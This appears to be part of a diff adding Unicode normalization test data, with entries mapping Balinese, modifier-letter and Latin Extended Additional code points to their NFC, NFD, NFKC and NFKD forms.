+{ source: [0x1B3B], NFC: [0x1B3B], NFD: [0x1B3A, 0x1B35], NFKC: [0x1B3B], NFKD: [0x1B3A, 0x1B35] },
+{ source: [0x1B3D], NFC: [0x1B3D], NFD: [0x1B3C, 0x1B35], NFKC: [0x1B3D], NFKD: [0x1B3C, 0x1B35] },
+{ source: [0x1B40], NFC: [0x1B40], NFD: [0x1B3E, 0x1B35], NFKC: [0x1B40], NFKD: [0x1B3E, 0x1B35] },
+{ source: [0x1B41], NFC: [0x1B41], NFD: [0x1B3F, 0x1B35], NFKC: [0x1B41], NFKD: [0x1B3F, 0x1B35] },
+{ source: [0x1B43], NFC: [0x1B43], NFD: [0x1B42, 0x1B35], NFKC: [0x1B43], NFKD: [0x1B42, 0x1B35] },
+{ source: [0x1D2C], NFC: [0x1D2C], NFD: [0x1D2C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D2D], NFC: [0x1D2D], NFD: [0x1D2D], NFKC: [0x00C6], NFKD: [0x00C6] },
+{ source: [0x1D2E], NFC: [0x1D2E], NFD: [0x1D2E], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D30], NFC: [0x1D30], NFD: [0x1D30], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D31], NFC: [0x1D31], NFD: [0x1D31], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D32], NFC: [0x1D32], NFD: [0x1D32], NFKC: [0x018E], NFKD: [0x018E] },
+{ source: [0x1D33], NFC: [0x1D33], NFD: [0x1D33], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D34], NFC: [0x1D34], NFD: [0x1D34], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D35], NFC: [0x1D35], NFD: [0x1D35], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D36], NFC: [0x1D36], NFD: [0x1D36], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D37], NFC: [0x1D37], NFD: [0x1D37], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D38], NFC: [0x1D38], NFD: [0x1D38], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D39], NFC: [0x1D39], NFD: [0x1D39], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D3A], NFC: [0x1D3A], NFD: [0x1D3A], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D3C], NFC: [0x1D3C], NFD: [0x1D3C], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D3D], NFC: [0x1D3D], NFD: [0x1D3D], NFKC: [0x0222], NFKD: [0x0222] },
+{ source: [0x1D3E], NFC: [0x1D3E], NFD: [0x1D3E], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D3F], NFC: [0x1D3F], NFD: [0x1D3F], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D40], NFC: [0x1D40], NFD: [0x1D40], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D41], NFC: [0x1D41], NFD: [0x1D41], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D42], NFC: [0x1D42], NFD: [0x1D42], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D43], NFC: [0x1D43], NFD: [0x1D43], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D44], NFC: [0x1D44], NFD: [0x1D44], NFKC: [0x0250], NFKD: [0x0250] },
+{ source: [0x1D45], NFC: [0x1D45], NFD: [0x1D45], NFKC: [0x0251], NFKD: [0x0251] },
+{ source: [0x1D46], NFC: [0x1D46], NFD: [0x1D46], NFKC: [0x1D02], NFKD: [0x1D02] },
+{ source: [0x1D47], NFC: [0x1D47], NFD: [0x1D47], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D48], NFC: [0x1D48], NFD: [0x1D48], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D49], NFC: [0x1D49], NFD: [0x1D49], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D4A], NFC: [0x1D4A], NFD: [0x1D4A], NFKC: [0x0259], NFKD: [0x0259] },
+{ source: [0x1D4B], NFC: [0x1D4B], NFD: [0x1D4B], NFKC: [0x025B], NFKD: [0x025B] },
+{ source: [0x1D4C], NFC: [0x1D4C], NFD: [0x1D4C], NFKC: [0x025C], NFKD: [0x025C] },
+{ source: [0x1D4D], NFC: [0x1D4D], NFD: [0x1D4D], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D4F], NFC: [0x1D4F], NFD: [0x1D4F], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D50], NFC: [0x1D50], NFD: [0x1D50], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D51], NFC: [0x1D51], NFD: [0x1D51], NFKC: [0x014B], NFKD: [0x014B] },
+{ source: [0x1D52], NFC: [0x1D52], NFD: [0x1D52], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D53], NFC: [0x1D53], NFD: [0x1D53], NFKC: [0x0254], NFKD: [0x0254] },
+{ source: [0x1D54], NFC: [0x1D54], NFD: [0x1D54], NFKC: [0x1D16], NFKD: [0x1D16] },
+{ source: [0x1D55], NFC: [0x1D55], NFD: [0x1D55], NFKC: [0x1D17], NFKD: [0x1D17] },
+{ source: [0x1D56], NFC: [0x1D56], NFD: [0x1D56], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D57], NFC: [0x1D57], NFD: [0x1D57], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D58], NFC: [0x1D58], NFD: [0x1D58], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D59], NFC: [0x1D59], NFD: [0x1D59], NFKC: [0x1D1D], NFKD: [0x1D1D] },
+{ source: [0x1D5A], NFC: [0x1D5A], NFD: [0x1D5A], NFKC: [0x026F], NFKD: [0x026F] },
+{ source: [0x1D5B], NFC: [0x1D5B], NFD: [0x1D5B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D5C], NFC: [0x1D5C], NFD: [0x1D5C], NFKC: [0x1D25], NFKD: [0x1D25] },
+{ source: [0x1D5D], NFC: [0x1D5D], NFD: [0x1D5D], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D5E], NFC: [0x1D5E], NFD: [0x1D5E], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D5F], NFC: [0x1D5F], NFD: [0x1D5F], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D60], NFC: [0x1D60], NFD: [0x1D60], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D61], NFC: [0x1D61], NFD: [0x1D61], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D62], NFC: [0x1D62], NFD: [0x1D62], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D63], NFC: [0x1D63], NFD: [0x1D63], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D64], NFC: [0x1D64], NFD: [0x1D64], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D65], NFC: [0x1D65], NFD: [0x1D65], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D66], NFC: [0x1D66], NFD: [0x1D66], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D67], NFC: [0x1D67], NFD: [0x1D67], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D68], NFC: [0x1D68], NFD: [0x1D68], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D69], NFC: [0x1D69], NFD: [0x1D69], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6A], NFC: [0x1D6A], NFD: [0x1D6A], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D78], NFC: [0x1D78], NFD: [0x1D78], NFKC: [0x043D], NFKD: [0x043D] },
+{ source: [0x1D9B], NFC: [0x1D9B], NFD: [0x1D9B], NFKC: [0x0252], NFKD: [0x0252] },
+{ source: [0x1D9C], NFC: [0x1D9C], NFD: [0x1D9C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D9D], NFC: [0x1D9D], NFD: [0x1D9D], NFKC: [0x0255], NFKD: [0x0255] },
+{ source: [0x1D9E], NFC: [0x1D9E], NFD: [0x1D9E], NFKC: [0x00F0], NFKD: [0x00F0] },
+{ source: [0x1D9F], NFC: [0x1D9F], NFD: [0x1D9F], NFKC: [0x025C], NFKD: [0x025C] },
+{ source: [0x1DA0], NFC: [0x1DA0], NFD: [0x1DA0], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1DA1], NFC: [0x1DA1], NFD: [0x1DA1], NFKC: [0x025F], NFKD: [0x025F] },
+{ source: [0x1DA2], NFC: [0x1DA2], NFD: [0x1DA2], NFKC: [0x0261], NFKD: [0x0261] },
+{ source: [0x1DA3], NFC: [0x1DA3], NFD: [0x1DA3], NFKC: [0x0265], NFKD: [0x0265] },
+{ source: [0x1DA4], NFC: [0x1DA4], NFD: [0x1DA4], NFKC: [0x0268], NFKD: [0x0268] },
+{ source: [0x1DA5], NFC: [0x1DA5], NFD: [0x1DA5], NFKC: [0x0269], NFKD: [0x0269] },
+{ source: [0x1DA6], NFC: [0x1DA6], NFD: [0x1DA6], NFKC: [0x026A], NFKD: [0x026A] },
+{ source: [0x1DA7], NFC: [0x1DA7], NFD: [0x1DA7], NFKC: [0x1D7B], NFKD: [0x1D7B] },
+{ source: [0x1DA8], NFC: [0x1DA8], NFD: [0x1DA8], NFKC: [0x029D], NFKD: [0x029D] },
+{ source: [0x1DA9], NFC: [0x1DA9], NFD: [0x1DA9], NFKC: [0x026D], NFKD: [0x026D] },
+{ source: [0x1DAA], NFC: [0x1DAA], NFD: [0x1DAA], NFKC: [0x1D85], NFKD: [0x1D85] },
+{ source: [0x1DAB], NFC: [0x1DAB], NFD: [0x1DAB], NFKC: [0x029F], NFKD: [0x029F] },
+{ source: [0x1DAC], NFC: [0x1DAC], NFD: [0x1DAC], NFKC: [0x0271], NFKD: [0x0271] },
+{ source: [0x1DAD], NFC: [0x1DAD], NFD: [0x1DAD], NFKC: [0x0270], NFKD: [0x0270] },
+{ source: [0x1DAE], NFC: [0x1DAE], NFD: [0x1DAE], NFKC: [0x0272], NFKD: [0x0272] },
+{ source: [0x1DAF], NFC: [0x1DAF], NFD: [0x1DAF], NFKC: [0x0273], NFKD: [0x0273] },
+{ source: [0x1DB0], NFC: [0x1DB0], NFD: [0x1DB0], NFKC: [0x0274], NFKD: [0x0274] },
+{ source: [0x1DB1], NFC: [0x1DB1], NFD: [0x1DB1], NFKC: [0x0275], NFKD: [0x0275] },
+{ source: [0x1DB2], NFC: [0x1DB2], NFD: [0x1DB2], NFKC: [0x0278], NFKD: [0x0278] },
+{ source: [0x1DB3], NFC: [0x1DB3], NFD: [0x1DB3], NFKC: [0x0282], NFKD: [0x0282] },
+{ source: [0x1DB4], NFC: [0x1DB4], NFD: [0x1DB4], NFKC: [0x0283], NFKD: [0x0283] },
+{ source: [0x1DB5], NFC: [0x1DB5], NFD: [0x1DB5], NFKC: [0x01AB], NFKD: [0x01AB] },
+{ source: [0x1DB6], NFC: [0x1DB6], NFD: [0x1DB6], NFKC: [0x0289], NFKD: [0x0289] },
+{ source: [0x1DB7], NFC: [0x1DB7], NFD: [0x1DB7], NFKC: [0x028A], NFKD: [0x028A] },
+{ source: [0x1DB8], NFC: [0x1DB8], NFD: [0x1DB8], NFKC: [0x1D1C], NFKD: [0x1D1C] },
+{ source: [0x1DB9], NFC: [0x1DB9], NFD: [0x1DB9], NFKC: [0x028B], NFKD: [0x028B] },
+{ source: [0x1DBA], NFC: [0x1DBA], NFD: [0x1DBA], NFKC: [0x028C], NFKD: [0x028C] },
+{ source: [0x1DBB], NFC: [0x1DBB], NFD: [0x1DBB], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1DBC], NFC: [0x1DBC], NFD: [0x1DBC], NFKC: [0x0290], NFKD: [0x0290] },
+{ source: [0x1DBD], NFC: [0x1DBD], NFD: [0x1DBD], NFKC: [0x0291], NFKD: [0x0291] },
+{ source: [0x1DBE], NFC: [0x1DBE], NFD: [0x1DBE], NFKC: [0x0292], NFKD: [0x0292] },
+{ source: [0x1DBF], NFC: [0x1DBF], NFD: [0x1DBF], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1E00], NFC: [0x1E00], NFD: [0x0041, 0x0325], NFKC: [0x1E00], NFKD: [0x0041, 0x0325] },
+{ source: [0x1E01], NFC: [0x1E01], NFD: [0x0061, 0x0325], NFKC: [0x1E01], NFKD: [0x0061, 0x0325] },
+{ source: [0x1E02], NFC: [0x1E02], NFD: [0x0042, 0x0307], NFKC: [0x1E02], NFKD: [0x0042, 0x0307] },
+{ source: [0x1E03], NFC: [0x1E03], NFD: [0x0062, 0x0307], NFKC: [0x1E03], NFKD: [0x0062, 0x0307] },
+{ source: [0x1E04], NFC: [0x1E04], NFD: [0x0042, 0x0323], NFKC: [0x1E04], NFKD: [0x0042, 0x0323] },
+{ source: [0x1E05], NFC: [0x1E05], NFD: [0x0062, 0x0323], NFKC: [0x1E05], NFKD: [0x0062, 0x0323] },
+{ source: [0x1E06], NFC: [0x1E06], NFD: [0x0042, 0x0331], NFKC: [0x1E06], NFKD: [0x0042, 0x0331] },
+{ source: [0x1E07], NFC: [0x1E07], NFD: [0x0062, 0x0331], NFKC: [0x1E07], NFKD: [0x0062, 0x0331] },
+{ source: [0x1E08], NFC: [0x1E08], NFD: [0x0043, 0x0327, 0x0301], NFKC: [0x1E08], NFKD: [0x0043, 0x0327, 0x0301] },
+{ source: [0x1E09], NFC: [0x1E09], NFD: [0x0063, 0x0327, 0x0301], NFKC: [0x1E09], NFKD: [0x0063, 0x0327, 0x0301] },
+{ source: [0x1E0A], NFC: [0x1E0A], NFD: [0x0044, 0x0307], NFKC: [0x1E0A], NFKD: [0x0044, 0x0307] },
+{ source: [0x1E0B], NFC: [0x1E0B], NFD: [0x0064, 0x0307], NFKC: [0x1E0B], NFKD: [0x0064, 0x0307] },
+{ source: [0x1E0C], NFC: [0x1E0C], NFD: [0x0044, 0x0323], NFKC: [0x1E0C], NFKD: [0x0044, 0x0323] },
+{ source: [0x1E0D], NFC: [0x1E0D], NFD: [0x0064, 0x0323], NFKC: [0x1E0D], NFKD: [0x0064, 0x0323] },
+{ source: [0x1E0E], NFC: [0x1E0E], NFD: [0x0044, 0x0331], NFKC: [0x1E0E], NFKD: [0x0044, 0x0331] },
+{ source: [0x1E0F], NFC: [0x1E0F], NFD: [0x0064, 0x0331], NFKC: [0x1E0F], NFKD: [0x0064, 0x0331] },
+{ source: [0x1E10], NFC: [0x1E10], NFD: [0x0044, 0x0327], NFKC: [0x1E10], NFKD: [0x0044, 0x0327] },
+{ source: [0x1E11], NFC: [0x1E11], NFD: [0x0064, 0x0327], NFKC: [0x1E11], NFKD: [0x0064, 0x0327] },
+{ source: [0x1E12], NFC: [0x1E12], NFD: [0x0044, 0x032D], NFKC: [0x1E12], NFKD: [0x0044, 0x032D] },
+{ source: [0x1E13], NFC: [0x1E13], NFD: [0x0064, 0x032D], NFKC: [0x1E13], NFKD: [0x0064, 0x032D] },
+{ source: [0x1E14], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x1E15], NFC: [0x1E15], NFD: [0x0065, 0x0304, 0x0300], NFKC: [0x1E15], NFKD: [0x0065, 0x0304, 0x0300] },
+{ source: [0x1E16], NFC: [0x1E16], NFD: [0x0045, 0x0304, 0x0301], NFKC: [0x1E16], NFKD: [0x0045, 0x0304, 0x0301] },
+{ source: [0x1E17], NFC: [0x1E17], NFD: [0x0065, 0x0304, 0x0301], NFKC: [0x1E17], NFKD: [0x0065, 0x0304, 0x0301] },
+{ source: [0x1E18], NFC: [0x1E18], NFD: [0x0045, 0x032D], NFKC: [0x1E18], NFKD: [0x0045, 0x032D] },
+{ source: [0x1E19], NFC: [0x1E19], NFD: [0x0065, 0x032D], NFKC: [0x1E19], NFKD: [0x0065, 0x032D] },
+{ source: [0x1E1A], NFC: [0x1E1A], NFD: [0x0045, 0x0330], NFKC: [0x1E1A], NFKD: [0x0045, 0x0330] },
+{ source: [0x1E1B], NFC: [0x1E1B], NFD: [0x0065, 0x0330], NFKC: [0x1E1B], NFKD: [0x0065, 0x0330] },
+{ source: [0x1E1C], NFC: [0x1E1C], NFD: [0x0045, 0x0327, 0x0306], NFKC: [0x1E1C], NFKD: [0x0045, 0x0327, 0x0306] },
+{ source: [0x1E1D], NFC: [0x1E1D], NFD: [0x0065, 0x0327, 0x0306], NFKC: [0x1E1D], NFKD: [0x0065, 0x0327, 0x0306] },
+{ source: [0x1E1E], NFC: [0x1E1E], NFD: [0x0046, 0x0307], NFKC: [0x1E1E], NFKD: [0x0046, 0x0307] },
+{ source: [0x1E1F], NFC: [0x1E1F], NFD: [0x0066, 0x0307], NFKC: [0x1E1F], NFKD: [0x0066, 0x0307] },
+{ source: [0x1E20], NFC: [0x1E20], NFD: [0x0047, 0x0304], NFKC: [0x1E20], NFKD: [0x0047, 0x0304] },
+{ source: [0x1E21], NFC: [0x1E21], NFD: [0x0067, 0x0304], NFKC: [0x1E21], NFKD: [0x0067, 0x0304] },
+{ source: [0x1E22], NFC: [0x1E22], NFD: [0x0048, 0x0307], NFKC: [0x1E22], NFKD: [0x0048, 0x0307] },
+{ source: [0x1E23], NFC: [0x1E23], NFD: [0x0068, 0x0307], NFKC: [0x1E23], NFKD: [0x0068, 0x0307] },
+{ source: [0x1E24], NFC: [0x1E24], NFD: [0x0048, 0x0323], NFKC: [0x1E24], NFKD: [0x0048, 0x0323] },
+{ source: [0x1E25], NFC: [0x1E25], NFD: [0x0068, 0x0323], NFKC: [0x1E25], NFKD: [0x0068, 0x0323] },
+{ source: [0x1E26], NFC: [0x1E26], NFD: [0x0048, 0x0308], NFKC: [0x1E26], NFKD: [0x0048, 0x0308] },
+{ source: [0x1E27], NFC: [0x1E27], NFD: [0x0068, 0x0308], NFKC: [0x1E27], NFKD: [0x0068, 0x0308] },
+{ source: [0x1E28], NFC: [0x1E28], NFD: [0x0048, 0x0327], NFKC: [0x1E28], NFKD: [0x0048, 0x0327] },
+{ source: [0x1E29], NFC: [0x1E29], NFD: [0x0068, 0x0327], NFKC: [0x1E29], NFKD: [0x0068, 0x0327] },
+{ source: [0x1E2A], NFC: [0x1E2A], NFD: [0x0048, 0x032E], NFKC: [0x1E2A], NFKD: [0x0048, 0x032E] },
+{ source: [0x1E2B], NFC: [0x1E2B], NFD: [0x0068, 0x032E], NFKC: [0x1E2B], NFKD: [0x0068, 0x032E] },
+{ source: [0x1E2C], NFC: [0x1E2C], NFD: [0x0049, 0x0330], NFKC: [0x1E2C], NFKD: [0x0049, 0x0330] },
+{ source: [0x1E2D], NFC: [0x1E2D], NFD: [0x0069, 0x0330], NFKC: [0x1E2D], NFKD: [0x0069, 0x0330] },
+{ source: [0x1E2E], NFC: [0x1E2E], NFD: [0x0049, 0x0308, 0x0301], NFKC: [0x1E2E], NFKD: [0x0049, 0x0308, 0x0301] },
+{ source: [0x1E2F], NFC: [0x1E2F], NFD: [0x0069, 0x0308, 0x0301], NFKC: [0x1E2F], NFKD: [0x0069, 0x0308, 0x0301] },
+{ source: [0x1E30], NFC: [0x1E30], NFD: [0x004B, 0x0301], NFKC: [0x1E30], NFKD: [0x004B, 0x0301] },
+{ source: [0x1E31], NFC: [0x1E31], NFD: [0x006B, 0x0301], NFKC: [0x1E31], NFKD: [0x006B, 0x0301] },
+{ source: [0x1E32], NFC: [0x1E32], NFD: [0x004B, 0x0323], NFKC: [0x1E32], NFKD: [0x004B, 0x0323] },
+{ source: [0x1E33], NFC: [0x1E33], NFD: [0x006B, 0x0323], NFKC: [0x1E33], NFKD: [0x006B, 0x0323] },
+{ source: [0x1E34], NFC: [0x1E34], NFD: [0x004B, 0x0331], NFKC: [0x1E34], NFKD: [0x004B, 0x0331] },
+{ source: [0x1E35], NFC: [0x1E35], NFD: [0x006B, 0x0331], NFKC: [0x1E35], NFKD: [0x006B, 0x0331] },
+{ source: [0x1E36], NFC: [0x1E36], NFD: [0x004C, 0x0323], NFKC: [0x1E36], NFKD: [0x004C, 0x0323] },
+{ source: [0x1E37], NFC: [0x1E37], NFD: [0x006C, 0x0323], NFKC: [0x1E37], NFKD: [0x006C, 0x0323] },
+{ source: [0x1E38], NFC: [0x1E38], NFD: [0x004C, 0x0323, 0x0304], NFKC: [0x1E38], NFKD: [0x004C, 0x0323, 0x0304] },
+{ source: [0x1E39], NFC: [0x1E39], NFD: [0x006C, 0x0323, 0x0304], NFKC: [0x1E39], NFKD: [0x006C, 0x0323, 0x0304] },
+{ source: [0x1E3A], NFC: [0x1E3A], NFD: [0x004C, 0x0331], NFKC: [0x1E3A], NFKD: [0x004C, 0x0331] },
+{ source: [0x1E3B], NFC: [0x1E3B], NFD: [0x006C, 0x0331], NFKC: [0x1E3B], NFKD: [0x006C, 0x0331] },
+{ source: [0x1E3C], NFC: [0x1E3C], NFD: [0x004C, 0x032D], NFKC: [0x1E3C], NFKD: [0x004C, 0x032D] },
+{ source: [0x1E3D], NFC: [0x1E3D], NFD: [0x006C, 0x032D], NFKC: [0x1E3D], NFKD: [0x006C, 0x032D] },
+{ source: [0x1E3E], NFC: [0x1E3E], NFD: [0x004D, 0x0301], NFKC: [0x1E3E], NFKD: [0x004D, 0x0301] },
+{ source: [0x1E3F], NFC: [0x1E3F], NFD: [0x006D, 0x0301], NFKC: [0x1E3F], NFKD: [0x006D, 0x0301] },
+{ source: [0x1E40], NFC: [0x1E40], NFD: [0x004D, 0x0307], NFKC: [0x1E40], NFKD: [0x004D, 0x0307] },
+{ source: [0x1E41], NFC: [0x1E41], NFD: [0x006D, 0x0307], NFKC: [0x1E41], NFKD: [0x006D, 0x0307] },
+{ source: [0x1E42], NFC: [0x1E42], NFD: [0x004D, 0x0323], NFKC: [0x1E42], NFKD: [0x004D, 0x0323] },
+{ source: [0x1E43], NFC: [0x1E43], NFD: [0x006D, 0x0323], NFKC: [0x1E43], NFKD: [0x006D, 0x0323] },
+{ source: [0x1E44], NFC: [0x1E44], NFD: [0x004E, 0x0307], NFKC: [0x1E44], NFKD: [0x004E, 0x0307] },
+{ source: [0x1E45], NFC: [0x1E45], NFD: [0x006E, 0x0307], NFKC: [0x1E45], NFKD: [0x006E, 0x0307] },
+{ source: [0x1E46], NFC: [0x1E46], NFD: [0x004E, 0x0323], NFKC: [0x1E46], NFKD: [0x004E, 0x0323] },
+{ source: [0x1E47], NFC: [0x1E47], NFD: [0x006E, 0x0323], NFKC: [0x1E47], NFKD: [0x006E, 0x0323] },
+{ source: [0x1E48], NFC: [0x1E48], NFD: [0x004E, 0x0331], NFKC: [0x1E48], NFKD: [0x004E, 0x0331] },
+{ source: [0x1E49], NFC: [0x1E49], NFD: [0x006E, 0x0331], NFKC: [0x1E49], NFKD: [0x006E, 0x0331] },
+{ source: [0x1E4A], NFC: [0x1E4A], NFD: [0x004E, 0x032D], NFKC: [0x1E4A], NFKD: [0x004E, 0x032D] },
+{ source: [0x1E4B], NFC: [0x1E4B], NFD: [0x006E, 0x032D], NFKC: [0x1E4B], NFKD: [0x006E, 0x032D] },
+{ source: [0x1E4C], NFC: [0x1E4C], NFD: [0x004F, 0x0303, 0x0301], NFKC: [0x1E4C], NFKD: [0x004F, 0x0303, 0x0301] },
+{ source: [0x1E4D], NFC: [0x1E4D], NFD: [0x006F, 0x0303, 0x0301], NFKC: [0x1E4D], NFKD: [0x006F, 0x0303, 0x0301] },
+{ source: [0x1E4E], NFC: [0x1E4E], NFD: [0x004F, 0x0303, 0x0308], NFKC: [0x1E4E], NFKD: [0x004F, 0x0303, 0x0308] },
+{ source: [0x1E4F], NFC: [0x1E4F], NFD: [0x006F, 0x0303, 0x0308], NFKC: [0x1E4F], NFKD: [0x006F, 0x0303, 0x0308] },
+{ source: [0x1E50], NFC: [0x1E50], NFD: [0x004F, 0x0304, 0x0300], NFKC: [0x1E50], NFKD: [0x004F, 0x0304, 0x0300] },
+{ source: [0x1E51], NFC: [0x1E51], NFD: [0x006F, 0x0304, 0x0300], NFKC: [0x1E51], NFKD: [0x006F, 0x0304, 0x0300] },
+{ source: [0x1E52], NFC: [0x1E52], NFD: [0x004F, 0x0304, 0x0301], NFKC: [0x1E52], NFKD: [0x004F, 0x0304, 0x0301] },
+{ source: [0x1E53], NFC: [0x1E53], NFD: [0x006F, 0x0304, 0x0301], NFKC: [0x1E53], NFKD: [0x006F, 0x0304, 0x0301] },
+{ source: [0x1E54], NFC: [0x1E54], NFD: [0x0050, 0x0301], NFKC: [0x1E54], NFKD: [0x0050, 0x0301] },
+{ source: [0x1E55], NFC: [0x1E55], NFD: [0x0070, 0x0301], NFKC: [0x1E55], NFKD: [0x0070, 0x0301] },
+{ source: [0x1E56], NFC: [0x1E56], NFD: [0x0050, 0x0307], NFKC: [0x1E56], NFKD: [0x0050, 0x0307] },
+{ source: [0x1E57], NFC: [0x1E57], NFD: [0x0070, 0x0307], NFKC: [0x1E57], NFKD: [0x0070, 0x0307] },
+{ source: [0x1E58], NFC: [0x1E58], NFD: [0x0052, 0x0307], NFKC: [0x1E58], NFKD: [0x0052, 0x0307] },
+{ source: [0x1E59], NFC: [0x1E59], NFD: [0x0072, 0x0307], NFKC: [0x1E59], NFKD: [0x0072, 0x0307] },
+{ source: [0x1E5A], NFC: [0x1E5A], NFD: [0x0052, 0x0323], NFKC: [0x1E5A], NFKD: [0x0052, 0x0323] },
+{ source: [0x1E5B], NFC: [0x1E5B], NFD: [0x0072, 0x0323], NFKC: [0x1E5B], NFKD: [0x0072, 0x0323] },
+{ source: [0x1E5C], NFC: [0x1E5C], NFD: [0x0052, 0x0323, 0x0304], NFKC: [0x1E5C], NFKD: [0x0052, 0x0323, 0x0304] },
+{ source: [0x1E5D], NFC: [0x1E5D], NFD: [0x0072, 0x0323, 0x0304], NFKC: [0x1E5D], NFKD: [0x0072, 0x0323, 0x0304] },
+{ source: [0x1E5E], NFC: [0x1E5E], NFD: [0x0052, 0x0331], NFKC: [0x1E5E], NFKD: [0x0052, 0x0331] },
+{ source: [0x1E5F], NFC: [0x1E5F], NFD: [0x0072, 0x0331], NFKC: [0x1E5F], NFKD: [0x0072, 0x0331] },
+{ source: [0x1E60], NFC: [0x1E60], NFD: [0x0053, 0x0307], NFKC: [0x1E60], NFKD: [0x0053, 0x0307] },
+{ source: [0x1E61], NFC: [0x1E61], NFD: [0x0073, 0x0307], NFKC: [0x1E61], NFKD: [0x0073, 0x0307] },
+{ source: [0x1E62], NFC: [0x1E62], NFD: [0x0053, 0x0323], NFKC: [0x1E62], NFKD: [0x0053, 0x0323] },
+{ source: [0x1E63], NFC: [0x1E63], NFD: [0x0073, 0x0323], NFKC: [0x1E63], NFKD: [0x0073, 0x0323] },
+{ source: [0x1E64], NFC: [0x1E64], NFD: [0x0053, 0x0301, 0x0307], NFKC: [0x1E64], NFKD: [0x0053, 0x0301, 0x0307] },
+{ source: [0x1E65], NFC: [0x1E65], NFD: [0x0073, 0x0301, 0x0307], NFKC: [0x1E65], NFKD: [0x0073, 0x0301, 0x0307] },
+{ source: [0x1E66], NFC: [0x1E66], NFD: [0x0053, 0x030C, 0x0307], NFKC: [0x1E66], NFKD: [0x0053, 0x030C, 0x0307] },
+{ source: [0x1E67], NFC: [0x1E67], NFD: [0x0073, 0x030C, 0x0307], NFKC: [0x1E67], NFKD: [0x0073, 0x030C, 0x0307] },
+{ source: [0x1E68], NFC: [0x1E68], NFD: [0x0053, 0x0323, 0x0307], NFKC: [0x1E68], NFKD: [0x0053, 0x0323, 0x0307] },
+{ source: [0x1E69], NFC: [0x1E69], NFD: [0x0073, 0x0323, 0x0307], NFKC: [0x1E69], NFKD: [0x0073, 0x0323, 0x0307] },
+{ source: [0x1E6A], NFC: [0x1E6A], NFD: [0x0054, 0x0307], NFKC: [0x1E6A], NFKD: [0x0054, 0x0307] },
+{ source: [0x1E6B], NFC: [0x1E6B], NFD: [0x0074, 0x0307], NFKC: [0x1E6B], NFKD: [0x0074, 0x0307] },
+{ source: [0x1E6C], NFC: [0x1E6C], NFD: [0x0054, 0x0323], NFKC: [0x1E6C], NFKD: [0x0054, 0x0323] },
+{ source: [0x1E6D], NFC: [0x1E6D], NFD: [0x0074, 0x0323], NFKC: [0x1E6D], NFKD: [0x0074, 0x0323] },
+{ source: [0x1E6E], NFC: [0x1E6E], NFD: [0x0054, 0x0331], NFKC: [0x1E6E], NFKD: [0x0054, 0x0331] },
+{ source: [0x1E6F], NFC: [0x1E6F], NFD: [0x0074, 0x0331], NFKC: [0x1E6F], NFKD: [0x0074, 0x0331] },
+{ source: [0x1E70], NFC: [0x1E70], NFD: [0x0054, 0x032D], NFKC: [0x1E70], NFKD: [0x0054, 0x032D] },
+{ source: [0x1E71], NFC: [0x1E71], NFD: [0x0074, 0x032D], NFKC: [0x1E71], NFKD: [0x0074, 0x032D] },
+{ source: [0x1E72], NFC: [0x1E72], NFD: [0x0055, 0x0324], NFKC: [0x1E72], NFKD: [0x0055, 0x0324] },
+{ source: [0x1E73], NFC: [0x1E73], NFD: [0x0075, 0x0324], NFKC: [0x1E73], NFKD: [0x0075, 0x0324] },
+{ source: [0x1E74], NFC: [0x1E74], NFD: [0x0055, 0x0330], NFKC: [0x1E74], NFKD: [0x0055, 0x0330] },
